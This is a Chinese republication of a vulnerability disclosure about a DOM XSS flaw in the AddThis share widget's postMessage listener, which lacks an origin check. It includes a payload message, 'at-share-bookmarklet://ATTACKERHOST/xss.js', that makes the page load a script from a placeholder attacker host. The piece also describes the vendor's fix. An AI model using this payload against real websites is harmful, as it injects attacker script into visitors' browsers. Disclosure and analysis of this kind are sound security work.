记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

AddThis Widget 调用 PostMessage API 导致上百万网站存在 XSS 漏洞

2016-12-16 15:50

前言

AddThis是超过一百万的网站使用的分享按钮。在今天年年初都曾被发现XSS漏洞。在我以前的文章中提到过PostMessage API的缺陷。今天这篇文章将介绍如何识别和利用AddThis。

最近测试一个使用AddThis的网站的时候,通过Chrome的开发者工具检查,我注意到它使用了postMessage。

postmessage1

我使用Chrome开发者工具在listener中设置了一个断点,然后发送了一个消息:“window.postMessage(“hello”, “*”)”用来检测它是否存在漏洞。

检查listener

代码除了使用HTTP和HTTPS的页面以外并没有进行orgin检查。消息的预期格式参加代码第5364行:

at-share-bookmarklet:DATA.

postmessage2

我继续调试,然后发送正确格式的消息,使得代码最终在5370行调用了“r”函数。而“ r”函数调用另一个名为“ s”的函数:

postmessage3

S函数创建了一个新的元素(DOM XSS?)

postmessage4

Unminifying

为了了解这个功能做了什么,我通过命名变量和删除多行语句来反混淆:

postmessage-xss-on-a-million-sites

最终得到发送格式如下的消息:

at-share-bookmarklet://ATTACKERHOST/xss.js

它会添加一个新的脚本元素到“//ATTACKERDOMAIN/xss.js”的页面。也就是说存在DOM XSS漏洞。

POC

攻击者能够任意攻击使用了AddThis的网站(DOM XSS)。我的Exploit如下:

20161216120633

完整Exploit:PostMessage

修复

通过与Matt Abrams (AddThis CTO)的交流,他表示漏洞将会被很快修复然后推送用户手中。修复通过增加orgin检查来确保任意来源的消息不被发送。

总结

总之,PostMessage经常是导致DOM XSS漏洞的源头。如果您正在使用第三方脚本,一定要检查它们的实现。

 

*原文:Detectify Lab,Mottoin翻译发布。转载请注明来自MottoIN!

未经允许不得转载: » AddThis Widget 调用 PostMessage API 导致上百万网站存在 XSS 漏洞

知识来源: www.mottoin.com/94130.html
想收藏或者和大家分享这篇好文章→复制链接地址

“AddThis Widget 调用 PostMessage API 导致上百万网站存在 XSS 漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云